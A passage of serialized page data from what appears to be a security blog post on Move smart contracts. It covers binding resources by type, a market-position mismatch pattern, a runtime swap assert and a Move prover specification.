BurnCapability",{"type":26,"tag":475,"props":6736,"children":6737},{"style":499},[6738],{"type":32,"value":5519},{"type":26,"tag":475,"props":6740,"children":6741},{"style":505},[6742],{"type":32,"value":6048},{"type":26,"tag":475,"props":6744,"children":6745},{"style":499},[6746],{"type":32,"value":5519},{"type":26,"tag":475,"props":6748,"children":6749},{"style":505},[6750],{"type":32,"value":6615},{"type":26,"tag":475,"props":6752,"children":6753},{"style":499},[6754],{"type":32,"value":6664},{"type":26,"tag":475,"props":6756,"children":6757},{"class":477,"line":744},[6758],{"type":26,"tag":475,"props":6759,"children":6760},{"emptyLinePlaceholder":18},[6761],{"type":32,"value":545},{"type":26,"tag":475,"props":6763,"children":6764},{"class":477,"line":753},[6765],{"type":26,"tag":475,"props":6766,"children":6767},{"style":552},[6768],{"type":32,"value":6310},{"type":26,"tag":475,"props":6770,"children":6771},{"class":477,"line":761},[6772],{"type":26,"tag":475,"props":6773,"children":6774},{"style":499},[6775],{"type":32,"value":5585},{"type":26,"tag":35,"props":6777,"children":6778},{},[6779,6781,6786],{"type":32,"value":6780},"When creating a ",{"type":26,"tag":53,"props":6782,"children":6784},{"className":6783},[],[6785],{"type":32,"value":6516},{"type":32,"value":6787},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":26,"tag":465,"props":6789,"children":6791},{"className":2685,"code":6790,"language":2684,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[6792],{"type":26,"tag":53,"props":6793,"children":6794},{"__ignoreMap":7},[6795,6838,6864,6871,6892,6937,6944,6951,6958,6995,7002],{"type":26,"tag":475,"props":6796,"children":6797},{"class":477,"line":478},[6798,6803,6807,6812,6816,6821,6826,6830,6834],{"type":26,"tag":475,"props":6799,"children":6800},{"style":493},[6801],{"type":32,"value":6802}," public",{"type":26,"tag":475,"props":6804,"children":6805},{"style":499},[6806],{"type":32,"value":626},{"type":26,"tag":475,"props":6808,"children":6809},{"style":2375},[6810],{"type":32,"value":6811},"friend",{"type":26,"tag":475,"props":6813,"children":6814},{"style":499},[6815],{"type":32,"value":2794},{"type":26,"tag":475,"props":6817,"children":6818},{"style":2375},[6819],{"type":32,"value":6820},"fun",{"type":26,"tag":475,"props":6822,"children":6823},{"style":2375},[6824],{"type":32,"value":6825}," create",{"type":26,"tag":475,"props":6827,"children":6828},{"style":499},[6829],{"type":32,"value":5519},{"type":26,"tag":475,"props":6831,"children":6832},{"style":505},[6833],{"type":32,"value":6615},{"type":26,"tag":475,"props":6835,"children":6836},{"style":499},[6837],{"type":32,"value":6302},{"type":26,"tag":475,"props":6839,"children":6840},{"class":477,"line":516},[6841,6846,6850,6855,6860],{"type":26,"tag":475,"props":6842,"children":6843},{"style":2375},[6844],{"type":32,"value":6845}," lp_store",{"type":26,"tag":475,"props":6847,"children":6848},{"style":714},[6849],{"type":32,"value":179},{"type":26,"tag":475,"props":6851,"children":6852},{"style":714},[6853],{"type":32,"value":6854}," &",{"type":26,"tag":475,"props":6856,"children":6857},{"style":2375},[6858],{"type":32,"value":6859},"signer",{"type":26,"tag":475,"props":6861,"children":6862},{"style":499},[6863],{"type":32,"value":2425},{"type":26,"tag":475,"props":6865,"children":6866},{"class":477,"line":539},[6867],{"type":26,"tag":475,"props":6868,"children":6869},{"style":552},[6870],{"type":32,"value":6310},{"type":26,"tag":475,"props":6872,"children":6873},{"class":477,"line":548},[6874,6879,6883,6888],{"type":26,"tag":475,"props":6875,"children":6876},{"style":499},[6877],{"type":32,"value":6878}," ) ",{"type":26,"tag":475,"props":6880,"children":6881},{"style":2375},[6882],{"type":32,"value":6057},{"type":26,"tag":475,"props":6884,"children":6885},{"style":505},[6886],{"type":32,"value":6887}," Reserves",{"type":26,"tag":475,"props":6889,"children":6890},{"style":499},[6891],{"type":32,"value":579},{"type":26,"tag":475,"props":6893,"children":6894},{"class":477,"line":558},[6895,6900,6904,6909,6914,6918,6923,6927,6932],{"type":26,"tag":475,"props":6896,"children":6897},{"style":499},[6898],{"type":32,"value":6899}," lp",{"type":26,"tag":475,"props":6901,"children":6902},{"style":714},[6903],{"type":32,"value":3187},{"type":26,"tag":475,"props":6905,"children":6906},{"style":493},[6907],{"type":32,"value":6908},"assert_is_lp_store",{"type":26,"tag":475,"props":6910,"children":6911},{"style":499},[6912],{"type":32,"value":6913},"(signer",{"type":26,"tag":475,"props":6915,"children":6916},{"style":714},[6917],{"type":32,"value":3187},{"type":26,"tag":475,"props":6919,"children":6920},{"style":493},[6921],{"type":32,"value":6922},"address_of",{"type":26,"tag":475,"props":6924,"children":6925},{"style":499},[6926],{"type":32,"value":626},{"type":26,"tag":475,"props":6928,"children":6929},{"style":2375},[6930],{"type":32,"value":6931},"lp_store",{"type":26,"tag":475,"props":6933,"children":6934},{"style":499},[6935],{"type":32,"value":6936},"));\n",{"type":26,"tag":475,"props":6938,"children":6939},{"class":477,"line":582},[6940],{"type":26,"tag":475,"props":6941,"children":6942},{"emptyLinePlaceholder":18},[6943],{"type":32,"value":545},{"type":26,"tag":475,"props":6945,"children":6946},{"class":477,"line":596},[6947],{"type":26,"tag":475,"props":6948,"children":6949},{"style":552},[6950],{"type":32,"value":6310},{"type":26,"tag":475,"props":6952,"children":6953},{"class":477,"line":610},[6954],{"type":26,"tag":475,"props":6955,"children":6956},{"emptyLinePlaceholder":18},[6957],{"type":32,"value":545},{"type":26,"tag":475,"props":6959,"children":6960},{"class":477,"line":650},[6961,6966,6970,6974,6978,6982,6986,6990],{"type":26,"tag":475,"props":6962,"children":6963},{"style":493},[6964],{"type":32,"value":6965}," move_to",{"type":26,"tag":475,"props":6967,"children":6968},{"style":499},[6969],{"type":32,"value":626},{"type":26,"tag":475,"props":6971,"children":6972},{"style":2375},[6973],{"type":32,"value":6931},{"type":26,"tag":475,"props":6975,"children":6976},{"style":499},[6977],{"type":32,"value":637},{"type":26,"tag":475,"props":6979,"children":6980},{"style":505},[6981],{"type":32,"value":6516},{"type":26,"tag":475,"props":6983,"children":6984},{"style":499},[6985],{"type":32,"value":5519},{"type":26,"tag":475,"props":6987,"children":6988},{"style":505},[6989],{"type":32,"value":6615},{"type":26,"tag":475,"props":6991,"children":6992},{"style":499},[6993],{"type":32,"value":6994},"> {\n",{"type":26,"tag":475,"props":6996,"children":6997},{"class":477,"line":679},[6998],{"type":26,"tag":475,"props":6999,"children":7000},{"style":552},[7001],{"type":32,"value":5889},{"type":26,"tag":475,"props":7003,"children":7004},{"class":477,"line":735},[7005],{"type":26,"tag":475,"props":7006,"children":7007},{"style":499},[7008],{"type":32,"value":1872},{"type":26,"tag":35,"props":7010,"children":7011},{},[7012],{"type":32,"value":7013},"In both these instances, type association only works because we create exactly one instance per type.",{"type":26,"tag":35,"props":7015,"children":7016},{},[7017,7019,7025,7027,7033,7035,7040],{"type":32,"value":7018},"On the other hand, consider if you have a ",{"type":26,"tag":53,"props":7020,"children":7022},{"className":7021},[],[7023],{"type":32,"value":7024},"Position\u003CT>",{"type":32,"value":7026}," and a ",{"type":26,"tag":53,"props":7028,"children":7030},{"className":7029},[],[7031],{"type":32,"value":7032},"Market\u003CT>",{"type":32,"value":7034}," where ",{"type":26,"tag":53,"props":7036,"children":7038},{"className":7037},[],[7039],{"type":32,"value":5701},{"type":32,"value":7041}," is the coin type.",{"type":26,"tag":465,"props":7043,"children":7045},{"className":2685,"code":7044,"language":2684,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[7046],{"type":26,"tag":53,"props":7047,"children":7048},{"__ignoreMap":7},[7049,7077,7105,7112,7119,7126,7154,7174,7181],{"type":26,"tag":475,"props":7050,"children":7051},{"class":477,"line":478},[7052,7056,7061,7065,7069,7073],{"type":26,"tag":475,"props":7053,"children":7054},{"style":482},[7055],{"type":32,"value":5766},{"type":26,"tag":475,"props":7057,"children":7058},{"style":505},[7059],{"type":32,"value":7060}," Market",{"type":26,"tag":475,"props":7062,"children":7063},{"style":499},[7064],{"type":32,"value":5519},{"type":26,"tag":475,"props":7066,"children":7067},{"style":2375},[7068],{"type":32,"value":5524},{"type":26,"tag":475,"props":7070,"children":7071},{"style":505},[7072],{"type":32,"value":5632},{"type":26,"tag":475,"props":7074,"children":7075},{"style":499},[7076],{"type":32,"value":6994},{"type":26,"tag":475,"props":7078,"children":7079},{"class":477,"line":516},[7080,7085,7089,7093,7097,7101],{"type":26,"tag":475,"props":7081,"children":7082},{"style":2375},[7083],{"type":32,"value":7084}," reserves",{"type":26,"tag":475,"props":7086,"children":7087},{"style":714},[7088],{"type":32,"value":179},{"type":26,"tag":475,"props":7090,"children":7091},{"style":505},[7092],{"type":32,"value":5514},{"type":26,"tag":475,"props":7094,"children":7095},{"style":499},[7096],{"type":32,"value":5519},{"type":26,"tag":475,"props":7098,"children":7099},{"style":505},[7100],{"type":32,"value":5701},{"type":26,"tag":475,"props":7102,"children":7103},{"style":499},[7104],{"type":32,"value":5852},{"type":26,"tag":475,"props":7106,"children":7107},{"class":477,"line":539},[7108],{"type":26,"tag":475,"props":7109,"children":7110},{"style":552},[7111],{"type":32,"value":5889},{"type":26,"tag":475,"props":7113,"children":7114},{"class":477,"line":548},[7115],{"type":26,"tag":475,"props":7116,"children":7117},{"style":499},[7118],{"type":32,"value":851},{"type":26,"tag":475,"props":7120,"children":7121},{"class":477,"line":558},[7122],{"type":26,"tag":475,"props":7123,"children":7124},{"emptyLinePlaceholder":18},[7125],{"type":32,"value":545},{"type":26,"tag":475,"props":7127,"children":7128},{"class":477,"line":582},[7129,7133,7138,7142,7146,7150],{"type":26,"tag":475,"props":7130,"children":7131},{"style":482},[7132],{"type":32,"value":5766},{"type":26,"tag":475,"props":7134,"children":7135},{"style":505},[7136],{"type":32,"value":7137}," Position",{"type":26,"tag":475,"props":7139,"children":7140},{"style":499},[7141],{"type":32,"value":5519},{"type":26,"tag":475,"props":7143,"children":7144},{"style":2375},[7145],{"type":32,"value":5524},{"type":26,"tag":475,"props":7147,"children":7148},{"style":505},[7149],{"type":32,"value":5632},{"type":26,"tag":475,"props":7151,"children":7152},{"style":499},[7153],{"type":32,"value":6994},{"type":26,"tag":475,"props":7155,"children":7156},{"class":477,"line":596},[7157,7162,7166,7170],{"type":26,"tag":475,"props":7158,"children":7159},{"style":2375},[7160],{"type":32,"value":7161}," amount",{"type":26,"tag":475,"props":7163,"children":7164},{"style":714},[7165],{"type":32,"value":179},{"type":26,"tag":475,"props":7167,"children":7168},{"style":505},[7169],{"type":32,"value":5573},{"type":26,"tag":475,"props":7171,"children":7172},{"style":499},[7173],{"type":32,"value":2425},{"type":26,"tag":475,"props":7175,"children":7176},{"class":477,"line":610},[7177],{"type":26,"tag":475,"props":7178,"children":7179},{"style":552},[7180],{"type":32,"value":5889},{"type":26,"tag":475,"props":7182,"children":7183},{"class":477,"line":650},[7184],{"type":26,"tag":475,"props":7185,"children":7186},{"style":499},[7187],{"type":32,"value":851},{"type":26,"tag":35,"props":7189,"children":7190},{},[7191,7193,7198,7200,7205],{"type":32,"value":7192},"If ",{"type":26,"tag":53,"props":7194,"children":7196},{"className":7195},[],[7197],{"type":32,"value":7032},{"type":32,"value":7199}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":26,"tag":53,"props":7201,"children":7203},{"className":7202},[],[7204],{"type":32,"value":5701},{"type":32,"value":7206}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":26,"tag":35,"props":7208,"children":7209},{},[7210],{"type":32,"value":7211},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":26,"tag":465,"props":7213,"children":7215},{"className":2685,"code":7214,"language":2684,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[7216],{"type":26,"tag":53,"props":7217,"children":7218},{"__ignoreMap":7},[7219,7227,7289,7338,7390,7415,7427,7448,7456,7469],{"type":26,"tag":475,"props":7220,"children":7221},{"class":477,"line":478},[7222],{"type":26,"tag":475,"props":7223,"children":7224},{"style":552},[7225],{"type":32,"value":7226}," /// Get the price of the token per lamport.\n",{"type":26,"tag":475,"props":7228,"children":7229},{"class":477,"line":516},[7230,7235,7239,7244,7248,7253,7257,7262,7266,7270,7275,7280,7285],{"type":26,"tag":475,"props":7231,"children":7232},{"style":2375},[7233],{"type":32,"value":7234}," public",{"type":26,"tag":475,"props":7236,"children":7237},{"style":2375},[7238],{"type":32,"value":490},{"type":26,"tag":475,"props":7240,"children":7241},{"style":493},[7242],{"type":32,"value":7243}," get_price",{"type":26,"tag":475,"props":7245,"children":7246},{"style":499},[7247],{"type":32,"value":626},{"type":26,"tag":475,"props":7249,"children":7250},{"style":2375},[7251],{"type":32,"value":7252},"type_info",{"type":26,"tag":475,"props":7254,"children":7255},{"style":714},[7256],{"type":32,"value":179},{"type":26,"tag":475,"props":7258,"children":7259},{"style":505},[7260],{"type":32,"value":7261}," TypeInfo",{"type":26,"tag":475,"props":7263,"children":7264},{"style":499},[7265],{"type":32,"value":2835},{"type":26,"tag":475,"props":7267,"children":7268},{"style":714},[7269],{"type":32,"value":179},{"type":26,"tag":475,"props":7271,"children":7272},{"style":505},[7273],{"type":32,"value":7274}," Decimal",{"type":26,"tag":475,"props":7276,"children":7277},{"style":2375},[7278],{"type":32,"value":7279}," acquires",{"type":26,"tag":475,"props":7281,"children":7282},{"style":505},[7283],{"type":32,"value":7284}," Oracle",{"type":26,"tag":475,"props":7286,"children":7287},{"style":499},[7288],{"type":32,"value":579},{"type":26,"tag":475,"props":7290,"children":7291},{"class":477,"line":539},[7292,7296,7301,7305,7310,7314,7319,7324,7329,7334],{"type":26,"tag":475,"props":7293,"children":7294},{"style":482},[7295],{"type":32,"value":2770},{"type":26,"tag":475,"props":7297,"children":7298},{"style":2375},[7299],{"type":32,"value":7300}," oracle",{"type":26,"tag":475,"props":7302,"children":7303},{"style":714},[7304],{"type":32,"value":2383},{"type":26,"tag":475,"props":7306,"children":7307},{"style":2375},[7308],{"type":32,"value":7309}," borrow_global_mut",{"type":26,"tag":475,"props":7311,"children":7312},{"style":499},[7313],{"type":32,"value":5519},{"type":26,"tag":475,"props":7315,"children":7316},{"style":505},[7317],{"type":32,"value":7318},"Oracle",{"type":26,"tag":475,"props":7320,"children":7321},{"style":499},[7322],{"type":32,"value":7323},">(",{"type":26,"tag":475,"props":7325,"children":7326},{"style":714},[7327],{"type":32,"value":7328},"@",{"type":26,"tag":475,"props":7330,"children":7331},{"style":2375},[7332],{"type":32,"value":7333},"oracle",{"type":26,"tag":475,"props":7335,"children":7336},{"style":499},[7337],{"type":32,"value":3533},{"type":26,"tag":475,"props":7339,"children":7340},{"class":477,"line":548},[7341,7345,7350,7354,7359,7363,7368,7372,7377,7381,7386],{"type":26,"tag":475,"props":7342,"children":7343},{"style":482},[7344],{"type":32,"value":2770},{"type":26,"tag":475,"props":7346,"children":7347},{"style":2375},[7348],{"type":32,"value":7349}," price",{"type":26,"tag":475,"props":7351,"children":7352},{"style":714},[7353],{"type":32,"value":2383},{"type":26,"tag":475,"props":7355,"children":7356},{"style":499},[7357],{"type":32,"value":7358}," table",{"type":26,"tag":475,"props":7360,"children":7361},{"style":714},[7362],{"type":32,"value":3187},{"type":26,"tag":475,"props":7364,"children":7365},{"style":2375},[7366],{"type":32,"value":7367},"borrow_mut_with_default",{"type":26,"tag":475,"props":7369,"children":7370},{"style":499},[7371],{"type":32,"value":5519},{"type":26,"tag":475,"props":7373,"children":7374},{"style":505},[7375],{"type":32,"value":7376},"TypeInfo",{"type":26,"tag":475,"props":7378,"children":7379},{"style":499},[7380],{"type":32,"value":637},{"type":26,"tag":475,"props":7382,"children":7383},{"style":505},[7384],{"type":32,"value":7385},"Decimal",{"type":26,"tag":475,"props":7387,"children":7388},{"style":499},[7389],{"type":32,"value":6302},{"type":26,"tag":475,"props":7391,"children":7392},{"class":477,"line":558},[7393,7398,7402,7406,7410],{"type":26,"tag":475,"props":7394,"children":7395},{"style":714},[7396],{"type":32,"value":7397}," &",{"type":26,"tag":475,"props":7399,"children":7400},{"style":482},[7401],{"type":32,"value":3430},{"type":26,"tag":475,"props":7403,"children":7404},{"style":2375},[7405],{"type":32,"value":7300},{"type":26,"tag":475,"props":7407,"children":7408},{"style":714},[7409],{"type":32,"value":353},{"type":26,"tag":475,"props":7411,"children":7412},{"style":499},[7413],{"type":32,"value":7414},"prices,\n",{"type":26,"tag":475,"props":7416,"children":7417},{"class":477,"line":582},[7418,7423],{"type":26,"tag":475,"props":7419,"children":7420},{"style":2375},[7421],{"type":32,"value":7422}," type_info",{"type":26,"tag":475,"props":7424,"children":7425},{"style":499},[7426],{"type":32,"value":2425},{"type":26,"tag":475,"props":7428,"children":7429},{"class":477,"line":596},[7430,7435,7439,7444],{"type":26,"tag":475,"props":7431,"children":7432},{"style":499},[7433],{"type":32,"value":7434}," decimal",{"type":26,"tag":475,"props":7436,"children":7437},{"style":714},[7438],{"type":32,"value":3187},{"type":26,"tag":475,"props":7440,"children":7441},{"style":493},[7442],{"type":32,"value":7443},"one",{"type":26,"tag":475,"props":7445,"children":7446},{"style":499},[7447],{"type":32,"value":607},{"type":26,"tag":475,"props":7449,"children":7450},{"class":477,"line":610},[7451],{"type":26,"tag":475,"props":7452,"children":7453},{"style":499},[7454],{"type":32,"value":7455}," );\n",{"type":26,"tag":475,"props":7457,"children":7458},{"class":477,"line":650},[7459,7464],{"type":26,"tag":475,"props":7460,"children":7461},{"style":714},[7462],{"type":32,"value":7463}," *",{"type":26,"tag":475,"props":7465,"children":7466},{"style":2375},[7467],{"type":32,"value":7468},"price\n",{"type":26,"tag":475,"props":7470,"children":7471},{"class":477,"line":679},[7472],{"type":26,"tag":475,"props":7473,"children":7474},{"style":499},[7475],{"type":32,"value":851},{"type":26,"tag":35,"props":7477,"children":7478},{},[7479,7481,7486],{"type":32,"value":7480},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":26,"tag":2615,"props":7482,"children":7483},{},[7484],{"type":32,"value":7485},"instance",{"type":32,"value":7487}," of another resource (which is possible in Diem style move).",{"type":26,"tag":35,"props":7489,"children":7490},{},[7491],{"type":32,"value":7492},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":26,"tag":181,"props":7494,"children":7495},{},[7496,7501],{"type":26,"tag":86,"props":7497,"children":7498},{},[7499],{"type":32,"value":7500},"Have unique initializers for your resources",{"type":26,"tag":86,"props":7502,"children":7503},{},[7504],{"type":32,"value":7505},"Associate resources with instances directly",{"type":26,"tag":27,"props":7507,"children":7509},{"id":7508},"formal-verification",[7510],{"type":32,"value":7511},"Formal Verification",{"type":26,"tag":35,"props":7513,"children":7514},{},[7515],{"type":32,"value":7516},"Formal verification is another exciting feature.",{"type":26,"tag":35,"props":7518,"children":7519},{},[7520],{"type":32,"value":7521},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":26,"tag":35,"props":7523,"children":7524},{},[7525,7527,7532],{"type":32,"value":7526},"However, this isn't a silver bullet. The key is figuring out ",{"type":26,"tag":2615,"props":7528,"children":7529},{},[7530],{"type":32,"value":7531},"what",{"type":32,"value":7533}," to prove.",{"type":26,"tag":35,"props":7535,"children":7536},{},[7537,7539,7546],{"type":32,"value":7538},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":26,"tag":116,"props":7540,"children":7543},{"href":7541,"rel":7542},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[120],[7544],{"type":32,"value":7545},"Solana AMM rounding issue",{"type":32,"value":7547}," we reported.",{"type":26,"tag":35,"props":7549,"children":7550},{},[7551],{"type":32,"value":7552},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":26,"tag":465,"props":7554,"children":7556},{"className":2685,"code":7555,"language":2684,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7557],{"type":26,"tag":53,"props":7558,"children":7559},{"__ignoreMap":7},[7560,7620],{"type":26,"tag":475,"props":7561,"children":7562},{"class":477,"line":478},[7563,7567,7572,7576,7581,7585,7590,7594,7598,7603,7607,7611,7616],{"type":26,"tag":475,"props":7564,"children":7565},{"style":482},[7566],{"type":32,"value":2372},{"type":26,"tag":475,"props":7568,"children":7569},{"style":2375},[7570],{"type":32,"value":7571}," cmp",{"type":26,"tag":475,"props":7573,"children":7574},{"style":714},[7575],{"type":32,"value":2383},{"type":26,"tag":475,"props":7577,"children":7578},{"style":499},[7579],{"type":32,"value":7580}," u256",{"type":26,"tag":475,"props":7582,"children":7583},{"style":714},[7584],{"type":32,"value":3187},{"type":26,"tag":475,"props":7586,"children":7587},{"style":493},[7588],{"type":32,"value":7589},"compare",{"type":26,"tag":475,"props":7591,"children":7592},{"style":499},[7593],{"type":32,"value":626},{"type":26,"tag":475,"props":7595,"children":7596},{"style":714},[7597],{"type":32,"value":2816},{"type":26,"tag":475,"props":7599,"children":7600},{"style":2375},[7601],{"type":32,"value":7602},"lp_value_after_swap_and_fee",{"type":26,"tag":475,"props":7604,"children":7605},{"style":499},[7606],{"type":32,"value":637},{"type":26,"tag":475,"props":7608,"children":7609},{"style":714},[7610],{"type":32,"value":2816},{"type":26,"tag":475,"props":7612,"children":7613},{"style":2375},[7614],{"type":32,"value":7615},"lp_value_before_swap_u256",{"type":26,"tag":475,"props":7617,"children":7618},{"style":499},[7619],{"type":32,"value":3533},{"type":26,"tag":475,"props":7621,"children":7622},{"class":477,"line":516},[7623,7628,7632,7637,7641,7646],{"type":26,"tag":475,"props":7624,"children":7625},{"style":493},[7626],{"type":32,"value":7627}," assert!",{"type":26,"tag":475,"props":7629,"children":7630},{"style":499},[7631],{"type":32,"value":626},{"type":26,"tag":475,"props":7633,"children":7634},{"style":2375},[7635],{"type":32,"value":7636},"cmp",{"type":26,"tag":475,"props":7638,"children":7639},{"style":714},[7640],{"type":32,"value":2990},{"type":26,"tag":475,"props":7642,"children":7643},{"style":903},[7644],{"type":32,"value":7645}," 2",{"type":26,"tag":475,"props":7647,"children":7648},{"style":499},[7649],{"type":32,"value":7650},", ERR_INCORRECT_SWAP);\n",{"type":26,"tag":35,"props":7652,"children":7653},{},[7654,7656,7661],{"type":32,"value":7655},"The move prover really shines when we're proving relationships ",{"type":26,"tag":2615,"props":7657,"children":7658},{},[7659],{"type":32,"value":7660},"between",{"type":32,"value":7662}," functions.",{"type":26,"tag":35,"props":7664,"children":7665},{},[7666,7668,7674],{"type":32,"value":7667},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":26,"tag":53,"props":7669,"children":7671},{"className":7670},[],[7672],{"type":32,"value":7673},"no_free_money_theorem",{"type":32,"value":7675}," in the move repository.",{"type":26,"tag":465,"props":7677,"children":7679},{"className":2685,"code":7678,"language":2684,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[7680],{"type":26,"tag":53,"props":7681,"children":7682},{"__ignoreMap":7},[7683,7691,7779,7821,7842,7849,7865,7891,7918,7943],{"type":26,"tag":475,"props":7684,"children":7685},{"class":477,"line":478},[7686],{"type":26,"tag":475,"props":7687,"children":7688},{"style":552},[7689],{"type":32,"value":7690}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":26,"tag":475,"props":7692,"children":7693},{"class":477,"line":516},[7694,7698,7703,7707,7712,7716,7720,7724,7729,7733,7737,7741,7745,7749,7754,7758,7762,7766,7770,7775],{"type":26,"tag":475,"props":7695,"children":7696},{"style":2375},[7697],{"type":32,"value":6283},{"type":26,"tag":475,"props":7699,"children":7700},{"style":493},[7701],{"type":32,"value":7702}," no_free_money_theorem",{"type":26,"tag":475,"props":7704,"children":7705},{"style":499},[7706],{"type":32,"value":626},{"type":26,"tag":475,"props":7708,"children":7709},{"style":2375},[7710],{"type":32,"value":7711},"coin1_in",{"type":26,"tag":475,"props":7713,"children":7714},{"style":714},[7715],{"type":32,"value":179},{"type":26,"tag":475,"props":7717,"children":7718},{"style":505},[7719],{"type":32,"value":5573},{"type":26,"tag":475,"props":7721,"children":7722},{"style":499},[7723],{"type":32,"value":637},{"type":26,"tag":475,"props":7725,"children":7726},{"style":2375},[7727],{"type":32,"value":7728},"coin2_in",{"type":26,"tag":475,"props":7730,"children":7731},{"style":714},[7732],{"type":32,"value":179},{"type":26,"tag":475,"props":7734,"children":7735},{"style":505},[7736],{"type":32,"value":5573},{"type":26,"tag":475,"props":7738,"children":7739},{"style":499},[7740],{"type":32,"value":2835},{"type":26,"tag":475,"props":7742,"children":7743},{"style":714},[7744],{"type":32,"value":179},{"type":26,"tag":475,"props":7746,"children":7747},{"style":499},[7748],{"type":32,"value":2775},{"type":26,"tag":475,"props":7750,"children":7751},{"style":505},[7752],{"type":32,"value":7753},"u64",{"type":26,"tag":475,"props":7755,"children":7756},{"style":499},[7757],{"type":32,"value":637},{"type":26,"tag":475,"props":7759,"children":7760},{"style":505},[7761],{"type":32,"value":7753},{"type":26,"tag":475,"props":7763,"children":7764},{"style":499},[7765],{"type":32,"value":2794},{"type":26,"tag":475,"props":7767,"children":7768},{"style":2375},[7769],{"type":32,"value":6057},{"type":26,"tag":475,"props":7771,"children":7772},{"style":505},[7773],{"type":32,"value":7774}," Pool",{"type":26,"tag":475,"props":7776,"children":7777},{"style":499},[7778],{"type":32,"value":579},{"type":26,"tag":475,"props":7780,"children":7781},{"class":477,"line":539},[7782,7787,7792,7796,7801,7805,7809,7813,7817],{"type":26,"tag":475,"props":7783,"children":7784},{"style":482},[7785],{"type":32,"value":7786}," let",{"type":26,"tag":475,"props":7788,"children":7789},{"style":2375},[7790],{"type":32,"value":7791}," share",{"type":26,"tag":475,"props":7793,"children":7794},{"style":714},[7795],{"type":32,"value":2383},{"type":26,"tag":475,"props":7797,"children":7798},{"style":493},[7799],{"type":32,"value":7800}," add_liquidity",{"type":26,"tag":475,"props":7802,"children":7803},{"style":499},[7804],{"type":32,"value":626},{"type":26,"tag":475,"props":7806,"children":7807},{"style":2375},[7808],{"type":32,"value":7711},{"type":26,"tag":475,"props":7810,"children":7811},{"style":499},[7812],{"type":32,"value":637},{"type":26,"tag":475,"props":7814,"children":7815},{"style":2375},[7816],{"type":32,"value":7728},{"type":26,"tag":475,"props":7818,"children":7819},{"style":499},[7820],{"type":32,"value":3533},{"type":26,"tag":475,"props":7822,"children":7823},{"class":477,"line":548},[7824,7829,7833,7838],{"type":26,"tag":475,"props":7825,"children":7826},{"style":493},[7827],{"type":32,"value":7828}," remove_liquidity",{"type":26,"tag":475,"props":7830,"children":7831},{"style":499},[7832],{"type":32,"value":626},{"type":26,"tag":475,"props":7834,"children":7835},{"style":2375},[7836],{"type":32,"value":7837},"share",{"type":26,"tag":475,"props":7839,"children":7840},{"style":499},[7841],{"type":32,"value":647},{"type":26,"tag":475,"props":7843,"children":7844},{"class":477,"line":558},[7845],{"type":26,"tag":475,"props":7846,"children":7847},{"style":499},[7848],{"type":32,"value":5585},{"type":26,"tag":475,"props":7850,"children":7851},{"class":477,"line":582},[7852,7857,7861],{"type":26,"tag":475,"props":7853,"children":7854},{"style":2375},[7855],{"type":32,"value":7856}," spec",{"type":26,"tag":475,"props":7858,"children":7859},{"style":2375},[7860],{"type":32,"value":7702},{"type":26,"tag":475,"props":7862,"children":7863},{"style":499},[7864],{"type":32,"value":579},{"type":26,"tag":475,"props":7866,"children":7867},{"class":477,"line":596},[7868,7873,7878,7882,7887],{"type":26,"tag":475,"props":7869,"children":7870},{"style":2375},[7871],{"type":32,"value":7872}," pragma",{"type":26,"tag":475,"props":7874,"children":7875},{"style":2375},[7876],{"type":32,"value":7877}," verify",{"type":26,"tag":475,"props":7879,"children":7880},{"style":714},[7881],{"type":32,"value":786},{"type":26,"tag":475,"props":7883,"children":7884},{"style":482},[7885],{"type":32,"value":7886},"false",{"type":26,"tag":475,"props":7888,"children":7889},{"style":499},[7890],{"type":32,"value":2729},{"type":26,"tag":475,"props":7892,"children":7893},{"class":477,"line":610},[7894,7899,7904,7909,7914],{"type":26,"tag":475,"props":7895,"children":7896},{"style":2375},[7897],{"type":32,"value":7898}," ensures",{"type":26,"tag":475,"props":7900,"children":7901},{"style":2375},[7902],{"type":32,"value":7903}," result_1",{"type":26,"tag":475,"props":7905,"children":7906},{"style":714},[7907],{"type":32,"value":7908}," \u003C=",{"type":26,"tag":475,"props":7910,"children":7911},{"style":2375},[7912],{"type":32,"value":7913}," 